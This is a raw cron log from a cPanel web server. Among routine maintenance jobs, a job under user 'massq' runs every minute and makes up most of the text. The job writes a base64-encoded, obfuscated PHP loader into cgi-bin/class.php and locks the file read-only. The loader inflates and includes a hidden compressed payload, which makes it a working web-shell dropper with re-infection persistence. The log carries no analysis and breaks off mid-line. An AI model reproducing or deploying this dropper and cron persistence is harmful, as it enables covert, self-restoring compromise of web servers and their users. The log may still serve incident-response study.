Sep  9 12:14:01 server CROND[11129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:14:01 server CROND[11130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:15:01 server CROND[11613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:15:01 server CROND[11615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:15:01 server CROND[11616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:15:01 server CROND[11628]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 12:15:01 server CROND[11632]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:15:01 server CROND[11630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:15:01 server CROND[11631]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 12:15:01 server CROND[11626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:15:01 server CROND[11629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:15:01 server CROND[11627]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 12:16:01 server CROND[12565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:16:01 server CROND[12566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:16:01 server CROND[12567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:17:01 server CROND[12949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:17:01 server CROND[12950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:17:01 server CROND[12951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:18:01 server CROND[13317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:18:01 server CROND[13319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:18:01 server CROND[13318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:19:01 server CROND[13749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:19:01 server CROND[13750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:19:01 server CROND[13751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:20:01 server CROND[14250]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:20:01 server CROND[14253]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:20:01 server CROND[14255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:20:01 server CROND[14256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:20:01 server CROND[14259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:20:01 server CROND[14262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:20:01 server CROND[14258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:20:01 server CROND[14261]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:20:01 server CROND[14257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:21:01 server CROND[15099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:21:01 server CROND[15100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:21:01 server CROND[15101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:22:01 server CROND[15478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:22:01 server CROND[15479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:22:01 server CROND[15480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:23:01 server CROND[15863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:23:01 server CROND[15864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:23:01 server CROND[15865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:24:01 server CROND[16235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:24:01 server CROND[16236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:24:01 server CROND[16237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:25:01 server CROND[16759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:25:01 server CROND[16760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:25:01 server CROND[16762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:25:01 server CROND[16766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:25:01 server CROND[16769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:25:01 server CROND[16767]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 12:25:01 server CROND[16765]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:25:01 server CROND[16768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSB